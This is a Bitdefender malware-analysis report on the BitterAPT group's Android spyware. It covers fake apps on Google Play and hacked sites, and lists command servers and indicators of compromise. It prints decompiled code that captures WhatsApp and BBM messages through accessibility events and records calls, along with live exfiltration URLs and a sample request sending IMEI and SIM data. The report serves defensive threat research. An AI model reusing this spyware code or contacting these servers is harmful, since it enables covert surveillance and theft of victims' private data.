Security

BitterAPT Revisited: the Untold Evolution of an Android Espionage Tool
Contents

Foreword ...................................................................................................................................................... 3
BitterAPT: from open-source to custom RAT ............................................................................................. 3
Distribution tactics ..................................................................................................................................... 5
The Google Play invasion ........................................................................................................................... 8
   AlarmClockSlide ........................................................................................................................................ 11
   CalculatorTool ............................................................................................................................................ 11
   CalendarSlide ............................................................................................................................................ 11
   HardMicApp ............................................................................................................................................. 11
Command and Control servers .................................................................................................................. 12
   A bitter landscape (telemetry) .................................................................................................................. 14
   A bitter arsenal... ....................................................................................................................................... 15
Appendix: Indicators of Compromise ...................................................................................................... 21
   CnC Domains .......................................................................................................................................... 22
   Referenced IOCs from previous research ............................................................................................... 22

Authors:
Oana ASOLTANEI - Security Researcher at Bitdefender
Denis Cosmin NUȚIU - Security Researcher at Bitdefender
Alin Mihai BARBATEI - Team Lead, Cyber Threat Intelligence Lab at Bitdefender
Foreword

In 2016, a sophisticated malware campaign targeting Pakistani nationals made headlines. Dubbed Bitter[4], the Advanced Persistent Threat group (also known as APT-C-08 [5]) has been active both in desktop and mobile malware campaigns for quite a long time, as their activity seems to date back to 2014. While Bitter initially became known for espionage campaigns targeting Pakistan, it was been observed in late 2019 targeting China, India, and other countries in South Asia, as well as Saudi Arabia [1][3].

Amid these campaigns, Bitdefender researchers are keeping an eye on developments related to Bitter, its evolution and how, steadily and surely, threat actors are upping up their game and poking holes in Google Play to use it as a propagation vector.

BitterAPT: from open-source to custom RAT

The Bitter threat group initially started using RAT tools in their campaigns, as the first Bitter versions, for Android released in 2014 were based on the AndroRAT framework [4][5]. Over time, they switched to a custom version that has been known as BitterRAT ever since.

A Chinese security firm provided a timeline outlining the evolution of the mobile version and placed the earliest-known version of Android Bitter in September 2014 [5].

The oldest sample we have identified in our malware zoo is 448b8af1a6757aa5b827b382777ab3de, an application called Misbaha, as indicated in [4]. It has the internal zip file timestamp of 04 September 2014, which can be an indicator to support the assumption, but a closer look at the signing certificate reveals a validity time of not before 28th Apr 2014. This date is usually one and the same with the date the certificate was created and might indicate the first attack could have begun months before anyone was even aware.

Issuer: C=US, O=Android, CN=Android Debug

Validity

Not Before: Apr 28 07:05:23 2014 GMT
Not After : Apr 20 07:05:23 2044 GMT

By 2016, the Bitter operators started creating their own custom, more evolved RAT based on AndroRAT. Security researchers named this variation SlideRAT [5]. The Bitter malware was distributed via fake applications using elaborate phishing schemes, as well as a network of compromised sites that were used to host the malware itself.

Publicly known variations of fake applications that are imitated include Dawn News, jamat-ud-dawah, People’s Liberation Army News APP, China-Super-VPN, Ansar Foundation, Anyou ID [5], Pornhub Premium [1] and Kashmir News [7].

Interestingly the threat actors have used Kashmir as bait in the past, first in 2014, then in 2019. The 2014 version, 8aff67a6b4f3e398b912f8405b3e19, had the application name KashmirTopNews [4] while
the newer version in 2019 (42c2d7ae8a98df09c624a9605849927 [7]), is named Kashmir Hunt. Coincidence or not, the years 2014 and 2019 both correspond to elections in the Kashmir region [8].

In our research, we have found previously unmentioned applications targeting religious groups by masquerading as True Islam or Saima Eid related applications as well as more generic variations that imitate common applications such as: Voice Mail, chat, image viewers and WhatsApp activators. A version more oriented toward Chinese victims is distributed as 蓝光手机防毒高级版本.apk (rough translation of Advanced version of antivirus for blue-light phone).

<table>
<thead>
<tr>
<th>APK MD5s</th>
<th>Package Name</th>
<th>Distribution Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>6d3dcb9ad491628488feb9de6e092144</td>
<td>com.nightstar.islam</td>
<td>TruelsIslam.apk</td>
</tr>
<tr>
<td>ea3b4cde5ef86acfe2971345a2d57cc0</td>
<td>display.Launcher</td>
<td>voicemail.apk</td>
</tr>
<tr>
<td>cbb32c303d06aa4d2dba713936e70f5c</td>
<td>droid.pixels</td>
<td>PrivateChat.apk</td>
</tr>
<tr>
<td>ee85b2657ca5a1798b645d61e8f5080c</td>
<td>com.secureImages.viewer.SlideShow</td>
<td>ImageViewer360.apk</td>
</tr>
<tr>
<td>692f450aecl4aca235cd92e6c52a960</td>
<td>com.folder.image</td>
<td>ImageView.apk</td>
</tr>
<tr>
<td>de931e107d293303dd1ee7e4776d4ec7</td>
<td>com.android.display</td>
<td>蓝光手机防毒高级版本.apk</td>
</tr>
<tr>
<td>d7c21a233999e055ef9a08a0e6207552</td>
<td>com.google.settings</td>
<td>SaimaEidPics.apk</td>
</tr>
<tr>
<td>9edf73b04609e7c3d4da1f1807c11a33</td>
<td>com.youtube.dwld</td>
<td>WhatsAppActivation.apk</td>
</tr>
</tbody>
</table>

The 蓝光手机防毒高级版本 application was most likely used in the 2017 wave against the Chinese Government. The sample has its creation zip time stripped down, but the certificate Not Before Time indicates 3 Oct 2017 10:12:47 GTM. This sample also has a slightly different code structure than others at that time. Another odd thing about it is that the indicated CnC (where it uploads the stolen information) points to http[://techfront.com[.]cn/js/gbuilder.php. The domain techfront[.]com[.]cn presumably belongs to a legitimate Chinese company [9].

The fact that this sample uploads exfiltrated data to that URL implies that the domain has hosted malware at some point. Likely, the web site was hacked and a malicious script was injected. The Bitter group has been known to hijack sites to host their malware, but there is no account of a case where it would inject a script that acts as CnC.
Distribution tactics

Over the years, cross platform Android – Windows Bitter attribution has relied on the same domains being used by the malware in both scenarios, as well as by victimology [1][4]. The Bitter threat group has been using ArtraDownloader for its Windows campaign [10] and AndroRAT variations for its Android campaigns.

Worth mentioning is that the group has delivered malware for both Windows and Android via the same hacked sites. For instance, the legitimate cultural website gandharaart[.]org, at this moment still hosts both the Windows and Android version of the threat.

<table>
<thead>
<tr>
<th>Distribution point</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>gandharaart.org/news/Lsasw</td>
<td>Windows ArtraDownloader used by Bitter</td>
</tr>
<tr>
<td>gandharaart.org/images/IM/ImageViewer360.apk</td>
<td>Android AndroRAT variation used by Bitter</td>
</tr>
</tbody>
</table>

The attribution of ArtraDownloader to the Bitter APT group, as well as the presence of the Windows threat variation on the gandharaart[.]org have been documented by several security-related organizations [10][6].

Other BitterRAT distribution points, identified in previous research [1], are still active. One such distribution point is http://spiceworld.rf[.]gd/Premium.php from which P-Hub Premium.apk (APK MD5: 1d2e23effc225880cadb7ee56dff25cf) is still delivered. The site spiceworld.rf.gd appears to be a makeshift webpage.
The threat actors most likely created a basic site for use as a malware distribution point. It points to 185.27.134.139 - a data center hosting several other sites. Over time this IP has hosted several distribution points for other threats, targeting both Android and Windows.

The Bitter threat group is believed to operate out of a country in South Asia [6][12]. We attempted to confirm this by running the "timestamp test" as indicated by the APKs inner zip file time. For most samples, this information was stripped from the APK containers. Instead of the missing information, we used the certificate creation time of all certificates used to sign BitterRAT malware, as well as the zip file time for samples that did not have it stripped.

When a certificate is generated, the GMT time is saved. To test the theory that the threat group is in a South Asian country, we added extra hours to match Indian Standard Time (UTC+05:30). Zip file time is local time, so no alteration was needed.

The exact date was used and determined what day of the week it was at that time and plotted as shown further:
The resulting chart indicates that Bitter APT threat group works predominantly from Monday to Friday and 09:00 to 17:00. They avoid working on Saturdays and, on occasion, have been shown to do some work on Sundays.

Other variations of time zones would also place their activity within regular business hours for an organization. If plotted against Pakistan Standard Time (GMT+5), we get the following (some points of the chart do not change because they were local time when stored).

These charts show that the Bitter APT threat group is working on a time zone that covers UTC+5 and UTC+6, which reinforce the idea that the group is somewhere in South Asia.
The Google Play invasion

Analysis of the sample 42c2d7aeb8a98df09c624a9605849927 (Kashmir_news.apk), which is an already known application attributed to the Bitter APT Group [7], led us to discover an alarming set of samples currently active on Google Play.

Signed with the same certificate and sharing the same package name (com.clocknews.update), we found the application AlarmClockSlide at https://play.google.com/store/apps/details?id=com.clocknews.update

The same developer, CreativeFox, has 5 other applications listed on Google Play Store.

Besides the certificate connection between the BitterRATKashmir_news.apk and the AlarmClockSlide on Google Play, we found a malicious Bitter version corresponding to each CreativeFox application listed on Google Play (there is one
exception, namely HardMicApp which has no BitterRAT correspondent). These applications do not have data-exfiltration capabilities, but the APT threat group can easily weaponize them by delivering an update, for instance.

Not all applications are signed with the same developer certificate, but the certificate strings are all variations and wordings of Karachi, Phase 3 DHA Clifton CreativeFox, Development, Developer.

**Certificate strings**

<table>
<thead>
<tr>
<th>Certificate strings</th>
<th>Distribution</th>
<th>Certificate creation time</th>
<th>Certificate strings</th>
</tr>
</thead>
<tbody>
<tr>
<td>C=PK, ST=Karachi, L=75/6D Phase 3 DHA Clifton, O=CreativeFox Pvt Ltd, OU=Development Unit, CN=CreativeFox</td>
<td><strong>TrueIslam.apk</strong></td>
<td>2017.04.12 10:14 GTM</td>
<td>C=31, ST=Nederland, L=Rotterdam, O=IntelliS, OU=IntelligentIslam, CN=Mark Reader</td>
</tr>
<tr>
<td>C=PK, ST=Karachi, L=75/6D Phase 3 DHA Clifton, O=CreativeFox Pvt Ltd, OU=Development Unit, CN=CreativeFox</td>
<td><strong>Image_Viewer.apk</strong></td>
<td>2018.06.09 11:00 GTM</td>
<td>C=31, ST=Nederland, L=Rotterdam, O=IntelliJ, OU=Intelligent Image Viewer, CN=Mark Reader</td>
</tr>
<tr>
<td>C=PK, ST=Karachi, L=75/6D Phase 3 DHA Clifton, O=CreativeFox Pvt Ltd, OU=Research and Development Unit, CN=CreativeFox</td>
<td><strong>voicemail.apk</strong></td>
<td>2017.12.12 9:10 GTM</td>
<td>C=31, ST=Nederland, L=Rotterdam, O=IntelliErr, OU=IntelligentSilent, CN=George Michael</td>
</tr>
</tbody>
</table>

It is worth mentioning that this type of polymorphing certificates was already used in the past by the Bitter APT group. Our analysis concluded that the following samples, distributed during the 2017-2018 waves, also share a similar polymorphic certificate structure.

Analysis of the Google Play developer CreativeFox continues.

All websites and privacy pages of the applications point to the w64binautoclean[]org domain. The domain was registered on 2019-08-30 and expires on 2020-08-30. We also see that it runs the control panel (cpanel) addon.
It is obvious that some amount of importance and effort have been directed by the Bitter APT group into developing this site.

When further investigating the privacy policies for the applications we find the following:

<table>
<thead>
<tr>
<th>Application</th>
<th>Last updated on Play</th>
<th>Privacy page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CalendarSlide</td>
<td>2019.09.11</td>
<td><a href="https://creativefox.w64binautoclean.org/">https://creativefox.w64binautoclean.org/</a></td>
</tr>
<tr>
<td>ZeroCross</td>
<td>2019.09.27</td>
<td><a href="http://zerocros.w64binautoclean.org/privacy.html">http://zerocros.w64binautoclean.org/privacy.html</a></td>
</tr>
<tr>
<td>CalculatorTool</td>
<td>2019.11.14</td>
<td><a href="https://w64binautoclean.org/calculatorslide/CalculatorSilent/">https://w64binautoclean.org/calculatorslide/CalculatorSilent/</a></td>
</tr>
<tr>
<td>AlarmClock</td>
<td>2019.11.30</td>
<td><a href="https://w64binautoclean.org/AlarmClock/privacy.html">https://w64binautoclean.org/AlarmClock/privacy.html</a></td>
</tr>
</tbody>
</table>

As a side note, the oldest application, CalendarSlide, was uploaded to Google Play less than 2 weeks after the domain was registered.

The threat group is known to target Pakistani officials, among others. There are some indicators in the code of the applications and on the Google Play pages related to the CreativeFox author, that support the assumption that these applications were made to mainly target Pakistani victims.

**Developer**

Visit website
chinchan55556666@gmail.com
Privacy Policy
75/6D, Phase 3, DHA,
Clifton, Karachi, Pakistan

The developer lists the address in Pakistan, and we found strings corresponding to all 5 Islamic prayer times Fajr, Dhuhr, Asr, Maghrib and Isha [11] in the HardMicApp application stored in a variable called Prayers. Although they are not used, we believe the developers initially wanted to create an Islamic Prayers application, as the strings are found with the Alarm suffix: “FajrAlarm”, “DhuhrAlarm”, “AsrAlarm”, “MaghribAlarm”, “IshaAlarm”. This would hint at functionality for setting up a reminder for prayer time. Eventually the developers chose to develop a recording app, but forgot the strings inside the new app.
AlarmClockSlide

The indicated malicious version is unlikely to be the exact one to replace the clean app, given that they share the same version code and Google Play developers are required to increment it with each update, but that is easily fixable. Both are signed with the same developer certificate (certificate SHA1: c484368c8900627dcc549f5e494a9bf9ec0b35e0)

<table>
<thead>
<tr>
<th>MD5</th>
<th>Package name</th>
<th>Versioncode</th>
<th>Version name</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>3f1e5cb139b506cfe2efa583ded83ed</td>
<td>com.clocknews.update</td>
<td>1</td>
<td>1.0</td>
<td>Clean on Play</td>
</tr>
<tr>
<td>42c2d7ae8a98df09c624a9605849927</td>
<td>com.clocknews.update</td>
<td>1</td>
<td>1.0</td>
<td>Bitter malware</td>
</tr>
</tbody>
</table>

CalculatorTool

Both the clean version and the weaponized version are signed with the same certificate. No alterations would be needed when the group choses to issue the update.

ZeroCross

This application is a basic tic-tac-toe game.

<table>
<thead>
<tr>
<th>Status</th>
<th>Clean on Play Store</th>
<th>Bitter malware</th>
</tr>
</thead>
<tbody>
<tr>
<td>MD5</td>
<td>39f842a2c758bf336af852186c1404a</td>
<td>0e1db2219402ec254b150a4f6d8b0b02</td>
</tr>
<tr>
<td>Packagename</td>
<td>eu.blitz.conversations</td>
<td></td>
</tr>
<tr>
<td>Cert SHA1</td>
<td>0f1ea1d9a1cf6c35a610bb83c92a81f818a8b</td>
<td>04bd724edd08c5cd3a37151899bbd1f78f44582</td>
</tr>
<tr>
<td>Version</td>
<td>1</td>
<td>329</td>
</tr>
</tbody>
</table>

CalendarSlide

<table>
<thead>
<tr>
<th>Status</th>
<th>Clean on Play Store</th>
<th>Bitter malware</th>
</tr>
</thead>
<tbody>
<tr>
<td>MD5</td>
<td>95c1925c7db67fb2686fbbdd333844217</td>
<td>68f0fb35fa7ad061b62a6b4c48155b2</td>
</tr>
<tr>
<td>Packagename</td>
<td>com.picture.guard.view</td>
<td></td>
</tr>
<tr>
<td>Cert SHA1</td>
<td>0d1c4b9f0bc704169ea5de6c946deb79bd66529d</td>
<td>af094b0538baafcc7e8c1027853931d57e26c8c7</td>
</tr>
<tr>
<td>Version</td>
<td>1</td>
<td>10</td>
</tr>
</tbody>
</table>

HardMicApp

No Bitter weaponized sample has been found for this application yet.
Command and Control servers

Besides the known Bitter-related CnCs, we also found five new domains in the mentioned samples used to exfiltrate user personal data.

<table>
<thead>
<tr>
<th>Exfiltration Site</th>
<th>Observation</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blitzchatlog.ddns.net/Hide/silent.php">http://blitzchatlog.ddns.net/Hide/silent.php</a></td>
<td>URL still active</td>
</tr>
<tr>
<td><a href="http://playupdateapp.serveblog.net/Youtube/home.php">http://playupdateapp.serveblog.net/Youtube/home.php</a></td>
<td>DNS returns IP for domain but timeout</td>
</tr>
<tr>
<td><a href="http://techfront.com.cn/js/gbuilder.php">http://techfront.com.cn/js/gbuilder.php</a></td>
<td>Injected malware in legitimate site</td>
</tr>
<tr>
<td><a href="https://phoneshieldnet.com/phoneshieldapp/health.php">https://phoneshieldnet.com/phoneshieldapp/health.php</a></td>
<td>Last seen active in 2020-03-28</td>
</tr>
<tr>
<td><a href="https://mypicks4u.com/chitchatbox/chitchat.php">https://mypicks4u.com/chitchatbox/chitchat.php</a></td>
<td>URL still active</td>
</tr>
</tbody>
</table>

The blitzchatlog.ddns.net domain resolves to 23.83.133.67. This IP belongs to the US hosting and cloud services company Leaseweb.

The same server is used to provide resources for some of the applications. Bitter sample (MD5 hash 6d3dcb9ad491628488feb9de6e092144) Truelslam.apk, for example, downloads from http://blitzchatlog[.]ddns[.]net/Islam/ various religious mp3 files and propaganda posters, in accordance with its guise.
Other artifacts can be found on the server.

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ImageList.php</td>
<td>2018-10-15 08:31</td>
<td>491</td>
<td></td>
</tr>
<tr>
<td>islamImages/</td>
<td>2018-10-15 08:33</td>
<td></td>
<td></td>
</tr>
<tr>
<td>quran/</td>
<td>2018-10-15 09:03</td>
<td></td>
<td></td>
</tr>
<tr>
<td>true.php</td>
<td>2018-10-15 08:31</td>
<td>1.9K</td>
<td></td>
</tr>
</tbody>
</table>

Apache/2.4.18 (Ubuntu) Server at blitzchatlog.ddns.net Port 80

The server also contains several .php files, each serving different data. For example, blitzchatlog.ddns.net/Hide/displayLink.php servers the following message:

**display message and open Link**

**Welcome**

http://sexnachbarin.ch

blitzchatlog.ddns.net/Hide/displayLinkfacebook.php servers the following message:

**display message and open Link**

**Welcome**

www.facebook.com
Those variations of Bitter that connect to this domain uses these displayLink services to determine their behavior. For example, (ea3b4cde5ef86acfe2971345a2d57cc0) on start will connect to Hide/displayLink.php. If the first line of the output contains a display (it does) it will show a toast with the second line (Welcome) and open the third line (www.facebook.com).

We believe /Islam/true.php and /Hide/silent.php serve the same purpose. These are used as exfiltration points where BitterRAT would upload information stolen from victims, with each URL possibly corresponding to a different threat campaign. The CnCs also keep track of a victim using the phone’s IMEI and the SIM number as a makeshift user ID when contacting such exfiltration points.

**An example of a POST request made to the server:**

blitzchatlog.ddns[.]net/Hide/silent.php?IMEI=123412341234123&SIMNO=12345678901234567890

The following image shows the Bitter IP – domain mapping.

---

**A bitter landscape (telemetry)**

The group usually targets important figures and organizations from Asian countries, Pakistan and China being among their most common targets. [1][3] Our telemetry readings indicate the presence of BitterRAT in Asia, with most scans coming from China, Hong Kong and Singapore.
A bitter arsenal...

Bitter APT group initially started using AndroRAT as their Android malware (similar to how ArtraDownloader is used for the Windows platform). Over time they changed to a custom version, which we have named BitterRAT (other security researchers prefer the name SlideRAT[5]).

BitterRAT has several modules tailored for spying and stealing personal user information. A full version can exfiltrate information such as:

- calls recordings
- call history
- SMS messages
- location
- accounts
- device specific information
- installed applications list
- documents and files
- WhatsApp messages and call logs
- BBM messaging app (former BlackBerry messenger)

A more in-depth analysis is focused on APK 0e1db2219402ec254b150a4f6d8b0b02, ChitChatBox application. This application was signed with an apparent debug certificate and had un-obfuscated code.

<table>
<thead>
<tr>
<th>Cert generation time</th>
<th>Certificate strings</th>
</tr>
</thead>
</table>

We believed it was somehow, unintentionally, leaked by the authors.

This version has the CnC at mypicks4u[,].com/chitchatbox/chitchat.php

The malware code is shipped together with an older version of the open source Conversations Android chat application.

When opening the application for the first time, the user is greeted by a screen to verify their phone number. Verification is done using a standard 2FA API (phone number is not leaked here).
After the phone number verification succeeds, the user gets redirected to the ConversationsActivity, which is also present in the open source application. However, in this version, the code is modified to request accessibility permissions for malicious purposes.

The user can't continue unless the requested permission is granted.

By analyzing the Config class, we can see that the malware authors changed the email address under the variable BUG_REPORTS to support@chaatchitt.com. The legitimate chat application has a different email address there.
The chaatchitt.com domain was registered on 2019-08-21 and a DNS SOA record links it with the email vera_ariel1992[@]protonmail.com.

While the authors decided to include a lot of Android libraries that aren’t used, the malware code is conveniently placed in the eu.blitz.conversations.runner package, a package that does not exist in the open source version of Conversations.

One of its specialized exfiltration modules can steal the user’s WhatsApp and BBM (former BlackBerry messenger) messages using the phone’s accessibility features (ExtractionManager.Accessibility). As far as we can tell, the fact that Bitter group targets BBM messaging application has not been previously disclosed. Although BBM was discontinued in mid-2019 [2], it is apparently still used by Bitter’s victims of interest often enough to have it targeted.

The WhatsApp module is slightly more advanced, as it keeps track of all the user’s voice and video call logs, making it possible to exfiltrate them later.

```java
public void WhatsAppMessageProcessing(AccessibilityEvent accessibilityEvent) {
    int eventType = accessibilityEvent.getEventType();
    String str = "";
    String str2 = (eventType == 1 || eventType == 8) ? "Focused" : str;
    if (accessibilityEvent.getText() != null) {
        str = accessibilityEvent.getText().toString();
    }
    String obj = accessibilityEvent.getAccessibilityEvent().toString();
    String substring = obj.substring(1, obj.length() - 1);
    printEventInfo(accessibilityEvent, substring);
    processLog(substring, str, str2);
    process_WHATAPPChat_Call_Chat(accessibilityEvent, eventType);
}
```

```java
public void BBMMessageProcessing(AccessibilityEvent accessibilityEvent) {
    int eventType = accessibilityEvent.getEventType();
    String str = "";
    String str2 = (eventType == 1 || eventType == 8) ? "Focused" : str;
    if (accessibilityEvent.getText() != null) {
        str = accessibilityEvent.getText().toString();
    }
    String obj = accessibilityEvent.getAccessibilityEvent().toString();
    String substring = obj.substring(1, obj.length() - 1);
    printEventInfo(accessibilityEvent, substring);
    processLog(substring, str, str2);
    process_BBMCChat_Chat_Chat(accessibilityEvent, eventType);
}
```

One of the modules (ResourceChannelRecord) can record with the user’s phone microphone, which gets turned on whenever the user receives or makes a call. Voice recordings of the calls are then exfiltrated to the server.
With regards to the exfiltration module that siphons device information (ResourceCMCASA), among data that is usually collected (network details, IMEI, mobile phone number and others) we see that the Bitter group is also interested in learning whether the victim is in Roaming mode and discovering their Voice Mail Number.

```java
public void startRecording(int i) {
    recording = false;
    try {
        recorder = new MediaRecorder();
        recorder.reset();
        recorder.setAudioSource(i);
        recorder.setOutputFormat(i);
        recorder.setOutputEncoding(i);
        if (myFile != null) {
            recorder.setOutputFile(myFile);
            recorder.prepare();
            recorder.start();
            recording = true;
            return;
        }
        recorder = null;
        Log.i("RecordException", "recorder NULL");
    } catch (Exception e) {
        Log.i("RecordException", "release : "+ i);
        recorder.release();
        recorder = null;
        recording = false;
    }
}
```

```java
public static void stopRecording() {
    try {
        if (recorder != null) {
            recorder.stop();
            recorder.reset();
            recorder.release();
            recorder = null;
            Log.i("stopRecording","release");
            recording = false;
        }
    } catch (FileNotFoundException e) {
        e.printStackTrace();
    }
}
```

We have already identified a sample that is distributed as voicemail.apk; Voice Mail Number may be of a higher importance than previously thought, and the fact that roaming information is collected indicates that Bitter APT group is particularly interested if their targets are currently abroad.

Another interesting module (ResourceFindexFetch) scans the device for files - more specifically for .pdf, .txt, .xml, .doc, .jpg, .gif, .png, .bmp, .xls, .webp, .amr, .docx, .apk, .reco - and uploads metadata information to the server. The server can also request a specific file from the device to be uploaded if it is considered of interest.
BitterRAT samples usually have the server address hardcoded inside files. Newer versions are instructed to retrieve the CnC from a Firebase database.

Version ImageView.apk (692ff450aec14aca235cd92e6c52a960) retrieves the CnC from the Firebase URL `simple-chat-9b74d.firebaseapp.com`.

Because of improper configuration of the Firebase database, the entire content could be dumped. The only CnC domain available is `flashnewsservice.org`.

({"domain": {"url": "https://flashnewsservice[.]org/CloudVault/"}})

The domain has already been attributed to the Bitter APT campaign [1], although a corresponding sample connecting to it and the firebase behavior was previously undocumented.

Certificate creation time indicates January 2020 as the creation time. This is the newest sample we have obtained, although it is not the most complex.

<table>
<thead>
<tr>
<th>Cert creation time</th>
<th>Certificate strings</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jan 3 08:43:26 2020 GMT</td>
<td>CN=Android Debug, O=Android, C=US</td>
</tr>
</tbody>
</table>

All BitterRAT samples share a similar structure in terms of overall exfiltration components and utilities, except for one: 9edf73b04609e7c3dada1f1807c11a33 (distributed as `WhatsAppActivation.apk`). This application, despite sharing its CnC with two other "classic" samples with spyware abilities, has an entirely different, underdeveloped structure, which hints that it might be another test app leaked by the malware author by mistake.

Another interesting observation: `voicemail.apk` has an inner package named `TODOFeatures`. This package name is the same module responsible for exfiltrating WhatsApp and BBM messages and call logs in newer versions.
There are code similarities between the versions currently on Play, even without the exfiltration capabilities.

- The ZeroCross application shares a component with the same java package name as the malicious ChitChatBox.

```

```

- HardMicApp, a sound recording application, has a lot in common with ChitChatBox; 32% of ChitChatBox’s code base is found in HardMicApp (where it accounts for 48% of the app).
Besides some commonly used shared libraries, they also share the SecurityManager class, a wrapper over shared preferences. This class contains a Prayers array of strings corresponding to all 5 Islamic prayer times; Fajr, Dhuhr, Asr, Maghrib and Isha [11]. The array is not used in this version of the application.

```java
public class SecurityManager {
    private static final String mobileNumber = "MOBILE_NUMBER";
    private static final String numberVerificationStatus = "VERIFICATION_STATUS";
    private final String EventsCount = "EVENTS_COUNT";
    private final String FetchCode = "FETCH_CODE";
    private final String IndexCode = "INDEX_CODE";
    private final String LocationChange = "LOCATION_CHANGE";
    private final String TAG = "SecurityManager---";
    private SharedPreferences sharedPreferences;
}
```

Another common package among HardMicApp, ChitChatBox BitterRAT and the ImageView.apk BitterRAT is the otp package, which contains the RequestPhoneActivity and VerifyPhoneActivity components. In all mentioned versions, this package contains ChitChatBox references, e.g. "eu.blitz.conversations.phone".
## Appendix: Indicators of Compromise

New BitterRAT samples hashes from this research

<table>
<thead>
<tr>
<th>APK MD5s</th>
<th>Package Name</th>
<th>Distribution Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>6d3dcb9ad491628488feb9de6e092144</td>
<td>com.nightstar.islam</td>
<td>TrueIslam.apk</td>
</tr>
<tr>
<td>f92ed513fb83e7418654c4ee2a89bed5</td>
<td>Secure.ImageViewer</td>
<td>Image_Viewer.apk</td>
</tr>
<tr>
<td>ea3b4cde5ef86acfe2971345a2d57cc0</td>
<td>display.Launcher</td>
<td>voicemail.apk</td>
</tr>
<tr>
<td>cbb32c303d06a4d2da713936e70f5c</td>
<td>droid.pixels</td>
<td>PrivateChat.apk</td>
</tr>
<tr>
<td>ee85b2657ca5a1798b645d61e8f5080c</td>
<td>com.secureImages.viewer.SlideShow</td>
<td>ImageViewer360.apk</td>
</tr>
<tr>
<td>68f0fb35fa7ad061b621a6b4c4b55b2</td>
<td>com.picture.guard.view</td>
<td></td>
</tr>
<tr>
<td>49f7f36c8c90ef2075e41f8a2964754f</td>
<td>tool.calculator</td>
<td></td>
</tr>
<tr>
<td>692f450aec14aca235cd92e6c52a960</td>
<td>com.folder.image</td>
<td>ImageView.apk</td>
</tr>
<tr>
<td>0ed1b2219402ec254b150a4f6d8b0b02</td>
<td>eu.blitz.conversations</td>
<td></td>
</tr>
<tr>
<td>de931e107d293303dd1ee7e4776d4ec7</td>
<td>com.android.display</td>
<td>BlueLight Mobile AntiVirus. apk</td>
</tr>
<tr>
<td>b0d55ccc06573230f2f74b9e585b5a6c9</td>
<td>com.nightstar.phoneshield</td>
<td></td>
</tr>
<tr>
<td>d20c6731e278a1d3202b4caa0902afa8</td>
<td>google.com.googlesettings</td>
<td>Dawn News Official.apk</td>
</tr>
<tr>
<td>d7c21a239999e055ef9a08a0e6207552</td>
<td>com.google.settings</td>
<td>SaimaEidPics.apk</td>
</tr>
<tr>
<td>9edf73b04609e7c3ada1f1807c11a33</td>
<td>com.youtube.dwld</td>
<td>WhatsAppActivation.apk</td>
</tr>
</tbody>
</table>

Bitter APK versions without malicious payload

<table>
<thead>
<tr>
<th>APK MD5</th>
</tr>
</thead>
<tbody>
<tr>
<td>3f1e5cb139b50e6cfe2efa583ded83ed</td>
</tr>
<tr>
<td>b1c1214f785d7552200e3382aeb091835</td>
</tr>
<tr>
<td>39ff842a2c758bf336af852186c1404a</td>
</tr>
<tr>
<td>95c1925c7db67f2686fbbdd333844217</td>
</tr>
<tr>
<td>f40b2c3fa6a25a3a34ed1d187a8d9de5</td>
</tr>
<tr>
<td>8003dc1aece8b82419f91e681b1ed368</td>
</tr>
<tr>
<td>c789eb63e852e6d12758a3d53b5f51c7</td>
</tr>
<tr>
<td>7ac0421755ed01fb2203dc85fc19374a</td>
</tr>
<tr>
<td>ff281c84cf10cc8fb40dab1f261523df</td>
</tr>
</tbody>
</table>
CnC Domains

**BitterRAT domains**
- blitzchatlog.ddns.net
- phoneshieldnet.com
- mypicks4u.com
- playupdateapp.serveblog.net

**BitterRAT exfiltration points**
- http://blitzchatlog.ddns.net/Hide/silent.php
- https://mypicks4u.com/chitchatbox/chitchat.php
- http://playupdateapp.serveblog.net/ Youtube/home.php

**Referenced IOCs from previous research**

**APK MD5**
- 8aff67a6b4f3e398b912f8405beb5319
- 448b8af1a6757aa5b827b382777ab3de
- 42c2d7ae8a98df09c624a9605849927
- 1d2e23effc225880cadb7ee56dff25cf

**URL** | **Meaning**
--- | ---
spiceworld.rf.gd | CnC Domain
flashnewsservice.org | CnC Domain
gandharaart.org/news/lsasw | Windows Bitter APT malware distribution point
References

[7] https://twitter.com/h4ckak/status/1224265173764100098
[9] https://www.linkedin.com/company/%E5%8C%97%E4%BA%AC%E5%8C%97%E5%A4%A7%E5%8D%83%E6%96%B9%E7%A7%91%E6%8A%80%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8/about/
Why Bitdefender

Proudly Serving Our Customers

Bitdefender provides solutions and services for small business and medium enterprises, service providers and technology integrators. We take pride in the trust that enterprises such as Mentor, Honeywell, Yamaha, Speedway, Esurance or Safe Systems place in us.

- Leader in Forrester’s inaugural Wave™ for Cloud Workload Security
- NSS Labs “Recommended” Rating in the NSS Labs AEP Group Test
- SC Media Industry Innovator Award for Hypervisor Introspection, 2nd Year in a Row
- Gartner® Representative Vendor of Cloud-Workload Protection Platforms

Dedicated To Our +20,000 Worldwide Partners

A channel-exclusive vendor, Bitdefender is proud to share success with tens of thousands of resellers and distributors worldwide.

- CRN 5-Star Partner, 4th Year in a Row. Recognized on CRN’s Security 100 List. CRN Cloud Partner, 2nd year in a Row
- More MSP-integrated solutions than any other security vendor
- 3 Bitdefender Partner Programs - to enable all our partners – resellers, service providers and hybrid partners – to focus on selling Bitdefender solutions that match their own specializations

Trusted Security Authority

Bitdefender is a proud technology alliance partner to major virtualization vendors, directly contributing to the development of secure ecosystems with VMware, Nutanix, Citrix, Linux Foundation, Microsoft, AWS, and Pivotal.

Through its leading forensics team, Bitdefender is also actively engaged in countering international cybercrime together with major law enforcement agencies such as FBI and Europol, in initiatives such as NoMoreRansom and TechAccord, as well as the takedown of black markets such as Hansa. Starting in 2019, Bitdefender is also a proudly appointed CVE Numbering Authority in MITRE Partnership.

RECOGNIZED BY LEADING ANALYSTS AND INDEPENDENT TESTING ORGANIZATIONS

CRN | AV | Gartner | ISG | K Orris | Underwriter Laboratories

TECHNOLOGY ALLIANCES

Microsoft | Nutanix | AWS | Data | Cloud | Fidelity | CITRIX

UNDER THE SIGN OF THE WOLF

